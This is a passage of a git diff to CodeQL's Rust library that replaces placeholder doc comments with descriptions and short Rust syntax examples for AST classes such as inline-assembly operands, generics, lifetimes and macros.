f1d2b20a8e0..0b0e32f7add 100644 --- a/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.ConstArg import codeql.rust.elements.TypeRepr /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ final class ArrayTypeRepr = Impl::ArrayTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll index 422d02d8ce0..253dcdfc9fa 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll @@ -6,4 +6,14 @@ private import internal.AsmClobberAbiImpl import codeql.rust.elements.AsmPiece +/** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmClobberAbi = Impl::AsmClobberAbi; diff --git a/rust/ql/lib/codeql/rust/elements/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/AsmConst.qll index b02dc20b865..7c98cbf04af 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmConst.qll @@ -7,4 +7,14 @@ private import internal.AsmConstImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.Expr +/** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` + */ final class AsmConst = Impl::AsmConst; diff --git a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll index 39af5ad9e07..5a5cf5f8202 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll @@ -6,4 +6,14 @@ private import internal.AsmDirSpecImpl import codeql.rust.elements.AstNode +/** + * An inline assembly direction specifier. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ + * ``` + */ final class AsmDirSpec = Impl::AsmDirSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmExpr.qll b/rust/ql/lib/codeql/rust/elements/AsmExpr.qll index aab266069ed..06cee086b3f 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmExpr.qll @@ -12,7 +12,8 @@ import codeql.rust.elements.Expr * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll index e5499804278..aab137e837d 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll @@ -7,4 +7,17 @@ private import internal.AsmLabelImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.BlockExpr +/** + * A label in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); + * ``` + */ final class AsmLabel = Impl::AsmLabel; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll index cccc425d3fb..e3672065adc 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll @@ -7,4 +7,14 @@ private import internal.AsmOperandExprImpl import codeql.rust.elements.AstNode import codeql.rust.elements.Expr +/** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ final class AsmOperandExpr = Impl::AsmOperandExpr; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll index 6c759280912..cb54a585539 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll @@ -8,4 +8,14 @@ import codeql.rust.elements.AsmOperand import codeql.rust.elements.AsmPiece import codeql.rust.elements.Name +/** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmOperandNamed = Impl::AsmOperandNamed; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/AsmOption.qll index 10dd031f0a6..84f37b76d0c 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOption.qll @@ -6,4 +6,14 @@ private import internal.AsmOptionImpl import codeql.rust.elements.AstNode +/** + * An option in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmOption = Impl::AsmOption; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll index 94e82023e17..dc82f9cb4af 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll @@ -7,4 +7,14 @@ private import internal.AsmOptionsListImpl import codeql.rust.elements.AsmOption import codeql.rust.elements.AsmPiece +/** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmOptionsList = Impl::AsmOptionsList; diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll index 4ce8deb4b69..2f1900821f1 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll @@ -9,4 +9,14 @@ import codeql.rust.elements.AsmOperand import codeql.rust.elements.AsmOperandExpr import codeql.rust.elements.AsmRegSpec +/** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ final class AsmRegOperand = Impl::AsmRegOperand; diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll index 5408dddc99b..91f4d5888f6 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll @@ -7,4 +7,14 @@ private import internal.AsmRegSpecImpl import codeql.rust.elements.AstNode import codeql.rust.elements.NameRef +/** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ + * ``` + */ final class AsmRegSpec = Impl::AsmRegSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/AsmSym.qll index b193bc2ce9c..359cd965c44 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmSym.qll @@ -7,4 +7,14 @@ private import internal.AsmSymImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.Path +/** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmSym = Impl::AsmSym; diff --git a/rust/ql/lib/codeql/rust/elements/AssocItem.qll b/rust/ql/lib/codeql/rust/elements/AssocItem.qll index 0a56f7109c3..80c1ecafd7e 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocItem.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocItem.qll @@ -7,9 +7,12 @@ private import internal.AssocItemImpl import codeql.rust.elements.AstNode /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ final class AssocItem = Impl::AssocItem; diff --git a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll index 63f568e1c25..86ae3df7a6b 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocItemList.qll @@ -9,6 +9,6 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Attr /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ final class AssocItemList = Impl::AssocItemList; diff --git a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll index eded63ad7cc..fcf50431c26 100644 --- a/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/AssocTypeArg.qll @@ -15,9 +15,17 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ final class AssocTypeArg = Impl::AssocTypeArg; diff --git a/rust/ql/lib/codeql/rust/elements/Attr.qll b/rust/ql/lib/codeql/rust/elements/Attr.qll index c7160519253..176d8987f7f 100644 --- a/rust/ql/lib/codeql/rust/elements/Attr.qll +++ b/rust/ql/lib/codeql/rust/elements/Attr.qll @@ -8,9 +8,13 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Meta /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ final class Attr = Impl::Attr; diff --git a/rust/ql/lib/codeql/rust/elements/Callable.qll b/rust/ql/lib/codeql/rust/elements/Callable.qll index c42262a1854..11d029fff7d 100644 --- a/rust/ql/lib/codeql/rust/elements/Callable.qll +++ b/rust/ql/lib/codeql/rust/elements/Callable.qll @@ -6,6 +6,7 @@ private import internal.CallableImpl import codeql.rust.elements.AstNode import codeql.rust.elements.Attr +import codeql.rust.elements.Param import codeql.rust.elements.ParamList /** diff --git a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll index 14464283aa8..0bf9579b2f0 100644 --- a/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/ClosureBinder.qll @@ -8,9 +8,17 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.GenericParamList /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ final class ClosureBinder = Impl::ClosureBinder; diff --git a/rust/ql/lib/codeql/rust/elements/Const.qll b/rust/ql/lib/codeql/rust/elements/Const.qll index 12fde1ef28b..b4c65207608 100644 --- a/rust/ql/lib/codeql/rust/elements/Const.qll +++ b/rust/ql/lib/codeql/rust/elements/Const.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ final class Const = Impl::Const; diff --git a/rust/ql/lib/codeql/rust/elements/ConstArg.qll b/rust/ql/lib/codeql/rust/elements/ConstArg.qll index c48b43b3157..8596d4cfd7c 100644 --- a/rust/ql/lib/codeql/rust/elements/ConstArg.qll +++ b/rust/ql/lib/codeql/rust/elements/ConstArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Expr import codeql.rust.elements.GenericArg /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ final class ConstArg = Impl::ConstArg; diff --git a/rust/ql/lib/codeql/rust/elements/ConstParam.qll b/rust/ql/lib/codeql/rust/elements/ConstParam.qll index ad7ff707272..c0135100863 100644 --- a/rust/ql/lib/codeql/rust/elements/ConstParam.qll +++ b/rust/ql/lib/codeql/rust/elements/ConstParam.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.Name import codeql.rust.elements.TypeRepr /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ final class ConstParam = Impl::ConstParam; diff --git a/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll index 0ddf36aced6..b6ce6419629 100644 --- a/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/DynTraitTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ final class DynTraitTypeRepr = Impl::DynTraitTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Enum.qll b/rust/ql/lib/codeql/rust/elements/Enum.qll index eb3801611cb..3901b382723 100644 --- a/rust/ql/lib/codeql/rust/elements/Enum.qll +++ b/rust/ql/lib/codeql/rust/elements/Enum.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ final class Enum = Impl::Enum; diff --git a/rust/ql/lib/codeql/rust/elements/ExternBlock.qll b/rust/ql/lib/codeql/rust/elements/ExternBlock.qll index 46112c915dc..7b191ae07a6 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternBlock.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternBlock.qll @@ -10,9 +10,13 @@ import codeql.rust.elements.ExternItemList import codeql.rust.elements.Item /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ final class ExternBlock = Impl::ExternBlock; diff --git a/rust/ql/lib/codeql/rust/elements/ExternCrate.qll b/rust/ql/lib/codeql/rust/elements/ExternCrate.qll index f76857a8058..b54450cadf4 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternCrate.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternCrate.qll @@ -11,9 +11,11 @@ import codeql.rust.elements.Rename import codeql.rust.elements.Visibility /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ final class ExternCrate = Impl::ExternCrate; diff --git a/rust/ql/lib/codeql/rust/elements/ExternItem.qll b/rust/ql/lib/codeql/rust/elements/ExternItem.qll index e15a22a702d..7931ce81c40 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternItem.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternItem.qll @@ -7,9 +7,14 @@ private import internal.ExternItemImpl import codeql.rust.elements.AstNode /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ final class ExternItem = Impl::ExternItem; diff --git a/rust/ql/lib/codeql/rust/elements/ExternItemList.qll b/rust/ql/lib/codeql/rust/elements/ExternItemList.qll index 5047b23daee..fa6aee3d1ee 100644 --- a/rust/ql/lib/codeql/rust/elements/ExternItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/ExternItemList.qll @@ -9,9 +9,14 @@ import codeql.rust.elements.Attr import codeql.rust.elements.ExternItem /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ final class ExternItemList = Impl::ExternItemList; diff --git a/rust/ql/lib/codeql/rust/elements/FieldList.qll b/rust/ql/lib/codeql/rust/elements/FieldList.qll index 4821f3dcd66..d12d95eda38 100644 --- a/rust/ql/lib/codeql/rust/elements/FieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/FieldList.qll @@ -7,9 +7,14 @@ private import internal.FieldListImpl import codeql.rust.elements.AstNode /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ final class FieldList = Impl::FieldList; diff --git a/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll index 290b9b9d8fd..78fc00024ca 100644 --- a/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.RetTypeRepr import codeql.rust.elements.TypeRepr /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ final class FnPtrTypeRepr = Impl::FnPtrTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ForExpr.qll b/rust/ql/lib/codeql/rust/elements/ForExpr.qll index cfb2586202e..10247d0b909 100644 --- a/rust/ql/lib/codeql/rust/elements/ForExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForExpr.qll @@ -10,9 +10,13 @@ import codeql.rust.elements.LoopingExpr import codeql.rust.elements.Pat /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ final class ForExpr = Impl::ForExpr; diff --git a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll index d734fdd8253..c52c92197bb 100644 --- a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll @@ -8,9 +8,17 @@ import codeql.rust.elements.GenericParamList import codeql.rust.elements.TypeRepr /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound. + * + * For example: * ```rust - * todo!() + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ final class ForTypeRepr = Impl::ForTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/GenericArg.qll b/rust/ql/lib/codeql/rust/elements/GenericArg.qll index 0958b33326f..39d7a3780b4 100644 --- a/rust/ql/lib/codeql/rust/elements/GenericArg.qll +++ b/rust/ql/lib/codeql/rust/elements/GenericArg.qll @@ -7,9 +7,12 @@ private import internal.GenericArgImpl import codeql.rust.elements.AstNode /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ final class GenericArg = Impl::GenericArg; diff --git a/rust/ql/lib/codeql/rust/elements/GenericParam.qll b/rust/ql/lib/codeql/rust/elements/GenericParam.qll index a7569c08f99..eabdd204522 100644 --- a/rust/ql/lib/codeql/rust/elements/GenericParam.qll +++ b/rust/ql/lib/codeql/rust/elements/GenericParam.qll @@ -7,9 +7,12 @@ private import internal.GenericParamImpl import codeql.rust.elements.AstNode /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ final class GenericParam = Impl::GenericParam; diff --git a/rust/ql/lib/codeql/rust/elements/Impl.qll b/rust/ql/lib/codeql/rust/elements/Impl.qll index 868f5b6f201..a1567f31582 100644 --- a/rust/ql/lib/codeql/rust/elements/Impl.qll +++ b/rust/ql/lib/codeql/rust/elements/Impl.qll @@ -13,9 +13,13 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ final class Impl = Impl::Impl; diff --git a/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll index 72aa3048363..db797ed041f 100644 --- a/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ final class ImplTraitTypeRepr = Impl::ImplTraitTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll index 79ff4934a56..db33570b044 100644 --- a/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.InferTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ final class InferTypeRepr = Impl::InferTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Item.qll b/rust/ql/lib/codeql/rust/elements/Item.qll index 1a8b0439695..c299b3d0b65 100644 --- a/rust/ql/lib/codeql/rust/elements/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/Item.qll @@ -9,9 +9,13 @@ import codeql.rust.elements.MacroItems import codeql.rust.elements.Stmt /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ final class Item = Impl::Item; diff --git a/rust/ql/lib/codeql/rust/elements/ItemList.qll b/rust/ql/lib/codeql/rust/elements/ItemList.qll index 631b875820c..fe912d5402a 100644 --- a/rust/ql/lib/codeql/rust/elements/ItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/ItemList.qll @@ -9,9 +9,14 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Item /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ final class ItemList = Impl::ItemList; diff --git a/rust/ql/lib/codeql/rust/elements/LetElse.qll b/rust/ql/lib/codeql/rust/elements/LetElse.qll index 1129ae3ff72..c1eb3df7708 100644 --- a/rust/ql/lib/codeql/rust/elements/LetElse.qll +++ b/rust/ql/lib/codeql/rust/elements/LetElse.qll @@ -8,9 +8,14 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.BlockExpr /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ final class LetElse = Impl::LetElse; diff --git a/rust/ql/lib/codeql/rust/elements/Lifetime.qll b/rust/ql/lib/codeql/rust/elements/Lifetime.qll index 1540e02db12..5a0043dddd1 100644 --- a/rust/ql/lib/codeql/rust/elements/Lifetime.qll +++ b/rust/ql/lib/codeql/rust/elements/Lifetime.qll @@ -7,9 +7,12 @@ private import internal.LifetimeImpl import codeql.rust.elements.UseBoundGenericArg /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ final class Lifetime = Impl::Lifetime; diff --git a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll index 35342e96c03..f3f3c98bed9 100644 --- a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.GenericArg import codeql.rust.elements.Lifetime /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * let text: Text<'a>; + * // ^^ * ``` */ final class LifetimeArg = Impl::LifetimeArg; diff --git a/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll b/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll index f3aa605c665..c47be28fee7 100644 --- a/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.Lifetime import codeql.rust.elements.TypeBoundList /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ final class LifetimeParam = Impl::LifetimeParam; diff --git a/rust/ql/lib/codeql/rust/elements/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/MacroCall.qll index b0985ea3fed..7b8a591bb62 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroCall.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.Path import codeql.rust.elements.TokenTree /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); * ``` */ final class MacroCall = Impl::MacroCall; diff --git a/rust/ql/lib/codeql/rust/elements/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/MacroDef.qll index 3ae14a9e662..9bd06c4d156 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroDef.qll @@ -11,9 +11,13 @@ import codeql.rust.elements.TokenTree import codeql.rust.elements.Visibility /** - * A MacroDef. For example: + * A Rust 2.0 style declarative macro definition. + * + * For example: * ```rust - * todo!() + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] + * } * ``` */ final class MacroDef = Impl::MacroDef; diff --git a/rust/ql/lib/codeql/rust/elements/MacroExpr.qll b/rust/ql/lib/codeql/rust/elements/MacroExpr.qll index 8085cabc3fe..9b063903caa 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroExpr.qll @@ -8,9 +8,11 @@ import codeql.rust.elements.Expr import codeql.rust.elements.MacroCall /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ final class MacroExpr = Impl::MacroExpr; diff --git a/rust/ql/lib/codeql/rust/elements/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/MacroPat.qll index 7bb99d04ec4..86516ba0e1b 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroPat.qll @@ -8,9 +8,20 @@ import codeql.rust.elements.MacroCall import codeql.rust.elements.Pat /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } + * match x { + * my_macro!() => "matched", + * // ^^^^^^^^^^^ + * _ => "not matched", + * } * ``` */ final class MacroPat = Impl::MacroPat; diff --git a/rust/ql/lib/codeql/rust/elements/MacroRules.qll b/rust/ql/lib/codeql/rust/elements/MacroRules.qll index afaf41bd15a..776069c2eb9 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroRules.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroRules.qll @@ -11,9 +11,13 @@ import codeql.rust.elements.TokenTree import codeql.rust.elements.Visibility /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ final class MacroRules = Impl::MacroRules; diff --git a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll index 780fb3d709c..a9122156b8c 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll @@ -8,9 +8,15 @@ import codeql.rust.elements.MacroCall import codeql.rust.elements.TypeRepr /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * macro_rules! macro_type { + * () => { i32 }; + * } + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` */ final class MacroTypeRepr = Impl::MacroTypeRepr; diff --git 